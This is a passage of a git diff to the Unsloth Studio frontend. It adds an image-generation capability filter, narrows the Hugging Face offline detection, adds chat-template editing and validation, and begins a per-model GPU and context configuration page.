 // Hub feature flags for staged rollout. JSX/wiring stay in place so flipping
 // a flag here is the only edit needed to re-enable.
 
-// Post-download Run / New Chat / Use in chat / Train CTAs; hidden until the
-// Hub-aware chat and train pickers ship.
+// Post-download New Chat / Use in chat / Train CTAs; hidden until the
+// Hub-aware chat and train pickers ship. Run CTAs are gated separately below.
 export const HUB_POST_DOWNLOAD_ACTIONS_VISIBLE = false;
 
 export const HUB_GGUF_RUN_ACTIONS_VISIBLE = true;
+
+// Post-download Run CTA for non-GGUF models (MLX repos classify as safetensors).
+// Run has no dependency on the Hub-aware chat/train pickers, so it enables
+// independently of HUB_POST_DOWNLOAD_ACTIONS_VISIBLE, which still gates those.
+export const HUB_NON_GGUF_RUN_ACTIONS_VISIBLE = true;
diff --git a/studio/frontend/src/features/hub/lib/model-capabilities.ts b/studio/frontend/src/features/hub/lib/model-capabilities.ts
index 033a3b6f1f..1baa3fb8e0 100644
--- a/studio/frontend/src/features/hub/lib/model-capabilities.ts
+++ b/studio/frontend/src/features/hub/lib/model-capabilities.ts
@@ -10,6 +10,7 @@ export type CapabilityKey =
   | "reasoning"
   | "code"
   | "embedding"
+  | "diffusion"
   | "multilingual"
   | "conversational";
 
@@ -62,6 +63,20 @@ const REASONING_TAGS = new Set([
   "step-by-step",
 ]);
 
+// Image generation / diffusion (surfaced as "Image generation" in filters).
+const DIFFUSION_TAGS = new Set([
+  "diffusers",
+  "diffusion",
+  "stable-diffusion",
+  "latent-diffusion",
+  "flux",
+  "text-to-image",
+  "image-to-image",
+  "text-to-video",
+  "image-to-video",
+  "unconditional-image-generation",
+]);
+
 const CODE_TAGS = new Set([
   "code",
   "code-generation",
@@ -186,10 +201,7 @@ export function detectCapabilities(
   ) {
     out.push({ key: "code", label: "Code" });
   }
-  if (
-    hasAny(CONVERSATIONAL_TAGS) ||
-    CONVERSATIONAL_ID_RE.test(lowerId)
-  ) {
+  if (hasAny(CONVERSATIONAL_TAGS) || CONVERSATIONAL_ID_RE.test(lowerId)) {
     out.push({ key: "conversational", label: "Conversational" });
   }
   if (
@@ -200,6 +212,14 @@ export function detectCapabilities(
   ) {
     out.push({ key: "embedding", label: "Embeddings" });
   }
+  if (
+    hasAny(DIFFUSION_TAGS) ||
+    /stable[-_]?diffusion|\bsdxl\b|\bflux\b|qwen[-_]?image|hunyuan[-_]?(?:video|image)|wan2|latent[-_]?consistency|[-_]lcm\b|dreamshaper/.test(
+      lowerId,
+    )
+  ) {
+    out.push({ key: "diffusion", label: "Image generation" });
+  }
   const languageCodes = new Set<string>();
   for (const tag of tags ?? []) {
     const lower = tag.toLowerCase();
diff --git a/studio/frontend/src/features/hub/lib/model-type-filter.ts b/studio/frontend/src/features/hub/lib/model-type-filter.ts
new file mode 100644
index 0000000000..2a2e31437e
--- /dev/null
+++ b/studio/frontend/src/features/hub/lib/model-type-filter.ts
@@ -0,0 +1,52 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+// Type filter for the On Device list. Mirrors the hub Discover capability
+// options and shares its detection, so both dropdowns behave the same.
+
+import type {
+  CachedInventoryRow,
+  LocalInventoryRow,
+} from "@/features/hub/inventory/types";
+import { type CapabilityKey, detectCapabilities } from "./model-capabilities";
+
+export type ModelTypeFilter =
+  | "all"
+  | "reasoning"
+  | "vision"
+  | "audio"
+  | "embedding"
+  | "diffusion";
+
+export const MODEL_TYPE_FILTER_OPTIONS: ReadonlyArray<{
+  value: ModelTypeFilter;
+  label: string;
+}> = [
+  { value: "all", label: "All types" },
+  { value: "reasoning", label: "Reasoning" },
+  { value: "vision", label: "Vision" },
+  { value: "audio", label: "Audio" },
+  { value: "embedding", label: "Embeddings" },
+  { value: "diffusion", label: "Image generation" },
+];
+
+function rowName(row: CachedInventoryRow | LocalInventoryRow): string {
+  return row.kind === "local"
+    ? `${row.id} ${row.repoId ?? ""} ${row.title} ${row.modelId ?? ""}`
+    : `${row.id} ${row.repoId}`;
+}
+
+export function matchesModelType(
+  row: CachedInventoryRow | LocalInventoryRow,
+  filter: ModelTypeFilter,
+): boolean {
+  if (filter === "all") return true;
+  // Honor the row's own vision flag before falling back to tag detection.
+  if (filter === "vision" && row.capabilities.supportsVision) return true;
+  const caps = detectCapabilities(
+    row.tags ?? undefined,
+    row.pipelineTag ?? undefined,
+    rowName(row),
+  );
+  return caps.some((cap: { key: CapabilityKey }) => cap.key === filter);
+}
diff --git a/studio/frontend/src/features/hub/lib/network.ts b/studio/frontend/src/features/hub/lib/network.ts
index 48d165c92a..a0bdf6598d 100644
--- a/studio/frontend/src/features/hub/lib/network.ts
+++ b/studio/frontend/src/features/hub/lib/network.ts
@@ -7,10 +7,10 @@ export function isBrowserOffline(): boolean {
 
 const NETWORK_STATUS_EVENT = "unsloth-network-status";
 const REMOTE_OFFLINE_TTL_MS = 30_000;
-const HUGGING_FACE_REMOTE_ORIGINS = [
-  "https://huggingface.co",
-  "https://datasets-server.huggingface.co",
-] as const;
+// Discovery and repository pages are served by the main Hugging Face origin.
+// Keep optional services such as datasets-server separate so an outage there
+// cannot make the whole Hub appear offline.
+const HUGGING_FACE_ORIGIN = "https://huggingface.co";
 const noopUnsubscribe = () => undefined;
 
 type RemoteNetworkScope = string | readonly string[];
@@ -33,7 +33,7 @@ export function getBrowserOfflineRetryDelayMs(): number {
   // recovery doesn't stall on platforms where navigator.onLine is stuck false.
   return Math.max(
     0,
-    getRemoteOfflineUntil(HUGGING_FACE_REMOTE_ORIGINS) - Date.now(),
+    getRemoteOfflineUntil(HUGGING_FACE_ORIGIN) - Date.now(),
   );
 }
 
@@ -56,7 +56,7 @@ function getRemoteOfflineUntil(scope: RemoteNetworkScope): number {
 }
 
 export function isRemoteNetworkOffline(
-  scope: RemoteNetworkScope = HUGGING_FACE_REMOTE_ORIGINS,
+  scope: RemoteNetworkScope = HUGGING_FACE_ORIGIN,
 ): boolean {
   return getRemoteOfflineUntil(scope) > Date.now();
 }
@@ -66,7 +66,7 @@ export function isHuggingFaceOffline(): boolean {
   // WebKitGTK/Tauri webviews). The authoritative signal is the empirical
   // remote-offline TTL, set when a real fetch fails and cleared on next success;
   // navigator's online/offline events still drive re-evaluation.
-  return isRemoteNetworkOffline(HUGGING_FACE_REMOTE_ORIGINS);
+  return isRemoteNetworkOffline(HUGGING_FACE_ORIGIN);
 }
 
 export function markRemoteNetworkOnline(origin?: string): void {
@@ -85,13 +85,13 @@ export function markRemoteNetworkOnline(origin?: string): void {
 }
 
 export function markRemoteNetworkOffline(
-  originOrTtl: string | number = HUGGING_FACE_REMOTE_ORIGINS[0],
+  originOrTtl: string | number = HUGGING_FACE_ORIGIN,
   ttlMs = REMOTE_OFFLINE_TTL_MS,
 ): void {
   const origin =
     typeof originOrTtl === "string"
       ? originOrTtl
-      : HUGGING_FACE_REMOTE_ORIGINS[0];
+      : HUGGING_FACE_ORIGIN;
   const ttl = typeof originOrTtl === "number" ? originOrTtl : ttlMs;
   const nextUntil = Date.now() + ttl;
   if (nextUntil <= (remoteOfflineUntilByOrigin.get(origin) ?? 0)) {
diff --git a/studio/frontend/src/features/hub/lib/unsloth-support.ts b/studio/frontend/src/features/hub/lib/unsloth-support.ts
index 966f381051..a0fcc2ad2f 100644
--- a/studio/frontend/src/features/hub/lib/unsloth-support.ts
+++ b/studio/frontend/src/features/hub/lib/unsloth-support.ts
@@ -157,6 +157,9 @@ function detectFormatKey(
     if (alias) return alias;
   }
   if (modelId) {
+    // Owner implies format even when local metadata lacks tags; mirrors the
+    // backend's _looks_like_mlx_repo heuristic.
+    if (modelId.trim().toLowerCase().startsWith("mlx-community/")) return "mlx";
     const name = repoLeaf(modelId);
     for (const { key, pattern } of FORMAT_NAME_PATTERNS) {
       if (pattern.test(name)) return key;
diff --git a/studio/frontend/src/features/hub/lib/view-models.ts b/studio/frontend/src/features/hub/lib/view-models.ts
index 9ee6c5de5d..d4efdb6a65 100644
--- a/studio/frontend/src/features/hub/lib/view-models.ts
+++ b/studio/frontend/src/features/hub/lib/view-models.ts
@@ -7,18 +7,18 @@ import type {
   CachedInventoryRow,
   LocalInventoryRow,
 } from "@/features/hub/inventory/types";
+import { ownerOf, repoOf } from "@/features/hub/lib/format";
 import type {
   CapabilityFilter,
   DiscoverRow,
   ModelFormatFilter,
 } from "../types";
+import { estimateSizeFromDtypes, isGgufLike } from "./hf-model-meta";
 import {
+  type CapabilityKey,
   detectBaseModel,
   detectCapabilities,
-  type CapabilityKey,
 } from "./model-capabilities";
-import { ownerOf, repoOf } from "@/features/hub/lib/format";
-import { estimateSizeFromDtypes, isGgufLike } from "./hf-model-meta";
 export {
   detectResultFormat,
   isUnslothFinetunable,
@@ -39,6 +39,7 @@ export const CAPABILITY_FILTER_OPTIONS: ReadonlyArray<{
   { value: "vision", label: "Vision" },
   { value: "audio", label: "Audio" },
   { value: "embedding", label: "Embeddings" },
+  { value: "diffusion", label: "Image generation" },
 ];
 
 export const FORMAT_FILTER_OPTIONS: ReadonlyArray<{
diff --git a/studio/frontend/src/features/hub/stores/hf-token-store.ts b/studio/frontend/src/features/hub/stores/hf-token-store.ts
index b1e2560f02..499ba9f644 100644
--- a/studio/frontend/src/features/hub/stores/hf-token-store.ts
+++ b/studio/frontend/src/features/hub/stores/hf-token-store.ts
@@ -5,11 +5,9 @@ import { create } from "zustand";
 import { bumpInventoryVersion } from "./inventory-events";
 
 const HF_TOKEN_KEY = "unsloth_hf_token";
-const HF_TOKEN_CHANGED_EVENT = "unsloth:hf-token-changed";
 const LEGACY_TRAINING_KEY = "unsloth_training_config_v1";
 let storageSyncStarted = false;
 let storageSyncListener: ((event: StorageEvent) => void) | null = null;
-let tokenChangedListener: ((event: Event) => void) | null = null;
 
 function canUseStorage(): boolean {
   return typeof window !== "undefined";
@@ -63,10 +61,6 @@ function stopStorageSync(): void {
     window.removeEventListener("storage", storageSyncListener);
     storageSyncListener = null;
   }
-  if (tokenChangedListener !== null) {
-    window.removeEventListener(HF_TOKEN_CHANGED_EVENT, tokenChangedListener);
-    tokenChangedListener = null;
-  }
   storageSyncStarted = false;
 }
 
@@ -100,10 +94,6 @@ export const useHfTokenStore = create<HfTokenStore>((set) => {
       applyToken(event.newValue ?? "", false);
     };
     window.addEventListener("storage", storageSyncListener);
-    tokenChangedListener = (event) => {
-      applyToken((event as CustomEvent<string>).detail ?? "", false);
-    };
-    window.addEventListener(HF_TOKEN_CHANGED_EVENT, tokenChangedListener);
   }
 
   return {
@@ -117,6 +107,21 @@ export function getHfToken(): string {
   return useHfTokenStore.getState().token;
 }
 
+// Keep a plain zustand store's `hfToken` field in sync with the shared token:
+// seed the current value, then mirror later edits. Returns the unsubscribe so
+// callers can wire it to HMR disposal.
+export function mirrorHfTokenInto<T extends { hfToken: string }>(store: {
+  getState: () => T;
+  setState: (partial: Partial<T>) => void;
+}): () => void {
+  store.setState({ hfToken: getHfToken() } as Partial<T>);
+  return useHfTokenStore.subscribe((state) => {
+    if (store.getState().hfToken !== state.token) {
+      store.setState({ hfToken: state.token } as Partial<T>);
+    }
+  });
+}
+
 // HF's JS client throws on a non-empty token that isn't `hf_...` instead of
 // browsing anonymously, so treat anything malformed as no token.
 export function hfApiToken(
diff --git a/studio/frontend/src/features/model-picker/api/model-metadata.ts b/studio/frontend/src/features/model-picker/api/model-metadata.ts
new file mode 100644
index 0000000000..098ab51271
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/api/model-metadata.ts
@@ -0,0 +1,20 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { getModelConfig } from "@/features/training";
+
+export async function fetchModelMaxPositionEmbeddings(
+  modelName: string,
+  hfToken?: string | null,
+  signal?: AbortSignal,
+): Promise<number | null> {
+  const config = await getModelConfig(
+    modelName,
+    signal,
+    hfToken?.trim() || undefined,
+  );
+  const value = config.max_position_embeddings;
+  return typeof value === "number" && Number.isFinite(value) && value > 0
+    ? Math.floor(value)
+    : null;
+}
diff --git a/studio/frontend/src/features/model-picker/api/templates.ts b/studio/frontend/src/features/model-picker/api/templates.ts
new file mode 100644
index 0000000000..29f18cce29
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/api/templates.ts
@@ -0,0 +1,87 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { authFetch } from "@/features/auth";
+import { hubTokenHeader } from "@/features/hub";
+import { consumeNativePathToken } from "@/features/native-intents/api";
+import { readFastApiError } from "@/lib/format-fastapi-error";
+
+export interface ValidateChatTemplateResult {
+  valid: boolean;
+  error: string | null;
+}
+
+async function parseJsonOrThrow<T>(response: Response): Promise<T> {
+  if (!response.ok) {
+    throw new Error(await readFastApiError(response));
+  }
+  return response.json();
+}
+
+export async function validateChatTemplate(
+  template: string,
+  signal?: AbortSignal,
+): Promise<ValidateChatTemplateResult> {
+  const response = await authFetch("/api/picker/validate-chat-template", {
+    method: "POST",
+    headers: { "Content-Type": "application/json" },
+    body: JSON.stringify({ template }),
+    signal,
+  });
+  return parseJsonOrThrow<ValidateChatTemplateResult>(response);
+}
+
+export async function fetchDefaultChatTemplate(
+  modelName: string,
+  ggufVariant?: string | null,
+  hfToken?: string | null,
+  signal?: AbortSignal,
+  nativePathToken?: string | null,
+): Promise<string | null> {
+  // A native (picked / drag-drop) GGUF lives at a path only its signed lease
+  // knows, and the picker chat-template GET has no lease plumbing, so redeem a
+  // one-shot validate-model lease and read the embedded template through the
+  // lease-aware /api/inference/validate probe instead (mirrors the staged
+  // header-dims fetch). Non-native models keep the plain GET path.
+  if (nativePathToken) {
+    let nativePathLease: string | null = null;
+    try {
+      nativePathLease = (
+        await consumeNativePathToken(nativePathToken, "validate-model")
+      ).nativePathLease;
+    } catch {
+      // Lease expired / revoked: no readable path, so no default template (the
+      // subsequent load re-mints its own lease).
+      return null;
+    }
+    const response = await authFetch("/api/inference/validate", {
+      method: "POST",
+      headers: { "Content-Type": "application/json" },
+      body: JSON.stringify({
+        model_path: modelName,
+        gguf_variant: ggufVariant ?? null,
+        hf_token: hfToken ?? null,
+        native_path_lease: nativePathLease,
+        include_chat_template: true,
+      }),
+      signal,
+    });
+    const data = await parseJsonOrThrow<{ chat_template?: string | null }>(
+      response,
+    );
+    return data.chat_template ?? null;
+  }
+
+  const query = ggufVariant
+    ? `?gguf_variant=${encodeURIComponent(ggufVariant)}`
+    : "";
+  const response = await authFetch(
+    `/api/picker/chat-template/${encodeURIComponent(modelName)}${query}`,
+    { headers: hubTokenHeader(hfToken), signal },
+  );
+  const data = await parseJsonOrThrow<{
+    model_name: string;
+    chat_template: string | null;
+  }>(response);
+  return data.chat_template ?? null;
+}
diff --git a/studio/frontend/src/features/model-picker/components/chat-template-editor-dialog.tsx b/studio/frontend/src/features/model-picker/components/chat-template-editor-dialog.tsx
new file mode 100644
index 0000000000..5326bebac6
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/components/chat-template-editor-dialog.tsx
@@ -0,0 +1,191 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import {
+  Dialog,
+  DialogContent,
+  DialogDescription,
+  DialogFooter,
+  DialogHeader,
+  DialogTitle,
+} from "@/components/ui/dialog";
+import { Spinner } from "@/components/ui/spinner";
+import { Textarea } from "@/components/ui/textarea";
+import { useRef, useState } from "react";
+import { validateChatTemplate } from "../api/templates";
+import {
+  MAX_CHAT_TEMPLATE_BYTES,
+  chatTemplateByteLength,
+  isChatTemplateWithinLimit,
+} from "../model-config/per-model-config";
+
+interface ChatTemplateEditorDialogProps {
+  open: boolean;
+  onOpenChange: (open: boolean) => void;
+  value: string | null;
+  defaultTemplate: string | null;
+  defaultLoading: boolean;
+  onSave: (override: string | null) => void;
+  readOnly?: boolean;
+}
+
+export function ChatTemplateEditorDialog({
+  open,
+  onOpenChange,
+  value,
+  defaultTemplate,
+  defaultLoading,
+  onSave,
+  readOnly = false,
+}: ChatTemplateEditorDialogProps) {
+  const [draft, setDraft] = useState<string | null>(null);
+  const [error, setError] = useState<string | null>(null);
+  const [validating, setValidating] = useState(false);
+  // Bumped whenever the dialog closes so a validation still in flight cannot
+  // apply a template the user has already dismissed.
+  const validationToken = useRef(0);
+  const renderedDraft = draft ?? value ?? defaultTemplate ?? "";
+
+  const byteLength = chatTemplateByteLength(renderedDraft);
+  const overLimit = !isChatTemplateWithinLimit(renderedDraft);
+  const matchesDefault =
+    defaultTemplate != null && renderedDraft === defaultTemplate;
+
+  const handleClose = () => {
+    validationToken.current += 1;
+    setDraft(null);
+    setError(null);
+    setValidating(false);
+    onOpenChange(false);
+  };
+
+  const handleSave = async () => {
+    if (renderedDraft.trim().length === 0 || matchesDefault) {
+      onSave(null);
+      handleClose();
+      return;
+    }
+    if (overLimit) {
+      setError("Template exceeds the size limit.");
+      return;
+    }
+    setValidating(true);
+    const token = validationToken.current;
+    try {
+      const result = await validateChatTemplate(renderedDraft);
+      // Dialog was closed (or reopened) while validating; drop the result so a
+      // discarded template is never applied.
+      if (token !== validationToken.current) {
+        return;
+      }
+      if (!result.valid) {
+        setError(result.error ?? "Invalid Jinja template.");
+        return;
+      }
+      onSave(renderedDraft);
+      handleClose();
+    } catch {
+      if (token === validationToken.current) {
+        setError("Could not validate the template.");
+      }
+    } finally {
+      if (token === validationToken.current) {
+        setValidating(false);
+      }
+    }
+  };
+
+  return (
+    <Dialog
+      open={open}
+      onOpenChange={(nextOpen) => {
+        if (nextOpen) {
+          onOpenChange(true);
+          return;
+        }
+        handleClose();
+      }}
+    >
+      <DialogContent className="corner-squircle dialog-soft-surface sm:max-w-3xl">
+        <DialogHeader>
+          <DialogTitle>
+            {readOnly ? "Chat Template" : "Edit Chat Template"}
+          </DialogTitle>
+          <DialogDescription>
+            {readOnly
+              ? "This is the model's chat template. Custom templates apply to GGUF models for now, so it is view only for safetensors models."
+              : "Override the model's chat template with custom Jinja. The change applies when the model loads. Saving an empty template or one that matches the default clears the override."}
+          </DialogDescription>
+        </DialogHeader>
+        <Textarea
+          value={renderedDraft}
+          onChange={(event) => {
+            if (readOnly) return;
+            setDraft(event.target.value);
+            setError(null);
+          }}
+          readOnly={readOnly}
+          className="min-h-[20rem] max-h-[50vh] overflow-y-auto border-0 font-mono text-xs leading-5 corner-squircle focus-visible:ring-0"
+          rows={14}
+          spellCheck={false}
+          placeholder={defaultLoading ? "Loading model default..." : ""}
+        />
+        {readOnly ? null : (
+          <div className="flex items-center justify-between gap-3 px-0.5 text-ui-11">
+            <span
+              className={overLimit ? "text-amber-500" : "text-muted-foreground"}
+            >
+              {byteLength.toLocaleString()} /{" "}
+              {MAX_CHAT_TEMPLATE_BYTES.toLocaleString()} bytes
+            </span>
+            {error ? (
+              <span className="truncate text-red-500" title={error}>
+                {error}
+              </span>
+            ) : null}
+          </div>
+        )}
+        <DialogFooter className="flex-wrap gap-2 sm:justify-between">
+          {readOnly ? (
+            <div className="flex w-full justify-end">
+              <Button type="button" onClick={handleClose}>
+                Close
+              </Button>
+            </div>
+          ) : (
+            <>
+              <Button
+                type="button"
+                variant="ghost"
+                onClick={() => setDraft(defaultTemplate ?? "")}
+                disabled={
+                  defaultLoading || renderedDraft === (defaultTemplate ?? "")
+                }
+                className="text-muted-foreground"
+              >
+                {defaultLoading ? (
+                  <Spinner className="size-3.5" />
+                ) : (
+                  "Reset to default"
+                )}
+              </Button>
+              <div className="flex gap-2">
+                <Button type="button" variant="ghost" onClick={handleClose}>
+                  Cancel
+                </Button>
+                <Button
+                  type="button"
+                  onClick={handleSave}
+                  disabled={validating || overLimit}
+                >
+                  {validating ? "Validating..." : "Save"}
+                </Button>
+              </div>
+            </>
+          )}
+        </DialogFooter>
+      </DialogContent>
+    </Dialog>
+  );
+}
diff --git a/studio/frontend/src/features/model-picker/components/model-config-page.tsx b/studio/frontend/src/features/model-picker/components/model-config-page.tsx
new file mode 100644
index 0000000000..ee208dc0bc
--- /dev/null
+++ b/studio/frontend/src/features/model-picker/components/model-config-page.tsx
@@ -0,0 +1,991 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { Checkbox } from "@/components/ui/checkbox";
+import { InfoHint } from "@/components/ui/info-hint";
+import {
+  Select,
+  SelectContent,
+  SelectItem,
+  SelectTrigger,
+  SelectValue,
+} from "@/components/ui/select";
+import { Slider } from "@/components/ui/slider";
+import { Switch } from "@/components/ui/switch";
+import {
+  GPU_LAYERS_AUTO,
+  fetchGgufStagedMetadata,
+  readPersistedSpeculativeType,
+  useChatRuntimeStore,
+} from "@/features/chat";
+import { useGpuDevices } from "@/hooks/use-gpu-info";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
+import { toast } from "@/lib/toast";
+import { ArrowLeft01Icon } from "@hugeicons/core-free-icons";
+import { HugeiconsIcon } from "@hugeicons/react";
+import { type ReactNode, useEffect, useId, useState } from "react";
+import {
+  useDefaultChatTemplate,
+  useModelMaxPositionEmbeddings,
+} from "../hooks/use-model-defaults";
+import { perModelConfigsEqual } from "../model-config/apply-per-model-config";
+import {
+  CONTEXT_LENGTH_MIN,
+  DEFAULT_MAX_SEQ_LENGTH,
+  DEFAULT_PER_MODEL_CONFIG,
+  KV_CACHE_DTYPES,
+  MAX_SEQ_LENGTH_MAX,
+  MAX_SEQ_LENGTH_MIN,
+  MAX_SEQ_LENGTH_STEP,
+  MTP_SPECULATIVE_TYPES,
+  type PerModelConfig,
+  SPECULATIVE_TYPES,
+  deletePerModelConfig,
+  floorMaxSeqLength,
+  isDefaultConfig,
+  normalizeMaxSeqLength,
+  resolveInitialConfig,
+  savePerModelConfig,
+} from "../model-config/per-model-config";
+import { ChatTemplateEditorDialog } from "./chat-template-editor-dialog";
+import type { ModelPickTarget } from "./model-selector/types";
+import { NumericValueInput } from "./numeric-value-input";
+
+const ROW_CLASS = "flex min-h-8 items-center justify-between gap-3";
+const LABEL_CLASS =
+  "min-w-0 truncate text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg";
+const LABEL_CLASS_WRAP =
+  "min-w-0 text-ui-13 font-medium leading-[1.25] tracking-nav text-nav-fg";
+const CONTROL_SURFACE =
+  "rounded-full border-transparent bg-black/[0.04] dark:bg-white/[0.05] hover:bg-black/[0.06] dark:hover:bg-white/[0.1]";
+const SELECT_TRIGGER_CLASS = `grid h-8 min-w-0 grid-cols-[minmax(0,1fr)_auto] items-center gap-1 ${CONTROL_SURFACE} pl-3 pr-2 py-0 text-ui-13! font-medium text-nav-fg focus-visible:ring-0 focus-visible:border-transparent [&_[data-slot=select-value]]:min-w-0 [&_[data-slot=select-value]]:truncate [&>svg]:shrink-0`;
+const NUMBER_INPUT_CLASS = `h-8 w-[92px] ${CONTROL_SURFACE} pl-3 pr-2 py-0 text-right text-ui-13 font-medium text-nav-fg outline-none focus-visible:ring-0`;
+
+const KV_CACHE_DTYPE_DEFAULT = "f16";
+const SPECULATIVE_TYPE_LABELS: Record<(typeof SPECULATIVE_TYPES)[number], string> =
+  {
+    auto: "Auto",
+    mtp: "MTP",
+    ngram: "Ngram",
+    "mtp+ngram": "MTP+Ngram",
+    off: "Off",
+  };
+
+function hasNonDefaultAdvanced(config: PerModelConfig): boolean {
+  return (
+    config.kvCacheDtype != null ||
+    (config.speculativeType ?? "auto") !== "auto" ||
+    config.specDraftNMax != null ||
+    config.tensorParallel ||
+    config.chatTemplateOverride != null ||
+    (config.gpuMemoryMode ?? "auto") !== "auto" ||
+    (config.gpuLayers != null && config.gpuLayers >= 0) ||
+    (config.nCpuMoe ?? 0) > 0 ||
+    config.selectedGpuIds != null
+  );
+}
+
+function ChatTemplateSetting({
+  config,
+  onEditTemplate,
+  readOnly = false,
+}: {
+  config: PerModelConfig;
+  onEditTemplate: () => void;
+  readOnly?: boolean;
+}) {
+  return (
+    <div className={ROW_CLASS}>
+      <div className="flex min-w-0 items-center gap-1.5">
+        <span className={LABEL_CLASS}>Chat Template</span>
+        <InfoHint>
+          {readOnly
+            ? "Preview the model's chat template. Custom overrides apply to GGUF models for now."
+            : "Override the model's chat template with custom Jinja. Applies when the model loads."}
+        </InfoHint>
+      </div>
+      <div className="flex shrink-0 items-center gap-2">
+        {readOnly ? null : (
+          <span className="text-ui-12 text-muted-foreground">
+            {config.chatTemplateOverride ? "Custom" : "Default"}
+          </span>
+        )}
+        <Button
+          type="button"
+          size="sm"
+          variant="ghost"
+          className={`h-8 px-3 text-ui-13 ${CONTROL_SURFACE}`}
+          onClick={onEditTemplate}
+        >
+          {readOnly ? "View" : "Edit"}
+        </Button>
+      </div>
+    </div>
+  );
+}
+
+function MaxSeqLengthSetting({
+  value,
+  max,
+  inputMax,
+  onChange,
+}: {
+  value: number;
+  max: number;
+  inputMax: number;
+  onChange: (value: number) => void;
+}) {
+  return (
+    <div className="space-y-3">
+      <div className={ROW_CLASS}>
+        <div className="flex min-w-0 items-center gap-1.5">
+          <span className={LABEL_CLASS}>Max Seq Length</span>
+          <InfoHint>
+            Maximum context window size in tokens. Applies when the model loads.
+          </InfoHint>
+        </div>
+        <NumericValueInput
+          value={value}
+          min={MAX_SEQ_LENGTH_MIN}
+          max={inputMax}
+          step={MAX_SEQ_LENGTH_STEP}
+          onChange={onChange}
+          ariaLabel="Max Seq Length"
+          className={NUMBER_INPUT_CLASS}
+          size={8}
+        />
+      </div>
+      <Slider
+        min={MAX_SEQ_LENGTH_MIN}
+        max={max}
+        step={MAX_SEQ_LENGTH_STEP}
+        value={[value]}
+        onValueChange={([next]) => onChange(next)}
+        className="panel-slider"
+        aria-label="Max Seq Length"
+      />
+    </div>
+  );
+}
+
+function clampMaxSeqLength(value: number, max: number): number {
+  const normalized = normalizeMaxSeqLength(value) ?? MAX_SEQ_LENGTH_MIN;
+  return Math.max(MAX_SEQ_LENGTH_MIN, Math.min(max, normalized));
+}
+
+function AdvancedGpuSlider({
+  label,
+  value,
+  min,
+  max,
+  onChange,
+  displayValue,
+  info,
+}: {
+  label: string;
+  value: number;
+  min: number;
+  max: number;
+  onChange: (value: number) => void;
+  displayValue?: string;
+  info?: ReactNode;
+}) {
+  return (
+    <div className="space-y-3">
+      <div className={ROW_CLASS}>
+        <div className="flex min-w-0 items-center gap-1.5">
+          <span className={LABEL_CLASS}>{label}</span>
+          {info && <InfoHint>{info}</InfoHint>}
+        </div>
+        <NumericValueInput
+          value={value}
+          min={min}
+          max={max}
+          step={1}
+          onChange={onChange}
+          displayValue={displayValue}
+          ariaLabel={label}
+          className={NUMBER_INPUT_CLASS}
+          size={8}
+        />
+      </div>
+      <Slider
+        min={min}
+        max={max}
+        step={1}
+        value={[value]}
+        onValueChange={([next]) => onChange(next)}
+        className="panel-slider"
+        aria-label={label}
+      />
+    </div>
+  );
+}
+
+// GPU Memory placement controls (mode / GPU Layers / MoE offload / GPU picker),
+// GGUF only. Slider ceilings come from the GGUF header dims, the picker from the
+// live device list. --tensor-split is not persisted per model, so not exposed here.
+function GpuMemorySettings({
+  config,
+  update,
+  layerCount,
+  moeLayerCount,
+}: {
+  config: PerModelConfig;
+  update: (patch: Partial<PerModelConfig>) => void;
+  layerCount: number | null;
+  moeLayerCount: number | null;
+}) {
+  const gpuDevices = useGpuDevices();
+  const mode = config.gpuMemoryMode ?? "auto";
+  const isManual = mode === "manual";
+  const gpuLayers = config.gpuLayers ?? GPU_LAYERS_AUTO;
+  // Slider at Auto: llama.cpp --fit owns the layout, so MoE-offload doesn't apply.
+  const autoLayers = isManual && gpuLayers < 0;
+  // Ceiling = layer count + 1 (llama.cpp counts the output layer as offloadable),
+  // else a safe fallback.
+  const gpuLayersMax = layerCount != null ? layerCount + 1 : 256;
+  const nCpuMoe = config.nCpuMoe ?? 0;
+  const moeLayersMax = moeLayerCount ?? 0;
+  const showMoeSlider = isManual && !autoLayers && moeLayersMax > 0;
+  const selectedGpuIds = config.selectedGpuIds ?? null;
+  const singleGpuInUse =
+    (selectedGpuIds ?? gpuDevices.map((device) => device.index)).length <= 1;
+  // Multi-GPU only, and only with physical indices (relative ordinals from a
+  // CUDA_VISIBLE_DEVICES mask can't be mapped back to pin a device). null = all (auto).
+  const showGpuPicker =
+    gpuDevices.length > 1 && gpuDevices.every((d) => d.physicalIndex);
+  const isGpuChecked = (index: number) =>
+    selectedGpuIds === null || selectedGpuIds.includes(index);
+  const toggleGpu = (index: number) => {
+    const all = gpuDevices.map((d) => d.index);
+    const current = selectedGpuIds ?? all;
+    const next = current.includes(index)
+      ? current.filter((i) => i !== index)
+      : [...current, index].sort((a, b) => a - b);
+    if (next.length === 0) return; // keep at least one GPU selected
+    update({ selectedGpuIds: next.length === all.length ? null : next });
+  };
+  return (
+    <>
+      <div className={ROW_CLASS}>
+        <div className="flex min-w-0 items-center gap-1.5">
+          <span className={LABEL_CLASS}>GPU Memory</span>
+          <InfoHint>
+            <div className="flex flex-col gap-1.5">
+              <div>
+                <span className="font-medium">Default:</span> Unsloth fits the
+                model and context to your GPUs.
+              </div>
+              <div>
+                <span className="font-medium">Manual:</span> set GPU Layers
+                yourself. Leave it on Auto to let llama.cpp size the context and
+                offload overflow (including MoE experts) to RAM.
+              </div>
+            </div>
+          </InfoHint>
+        </div>
+        <Select
+          value={mode}
+          onValueChange={(v) =>
+            // Returning to Default must clear the Manual-only knobs, else a
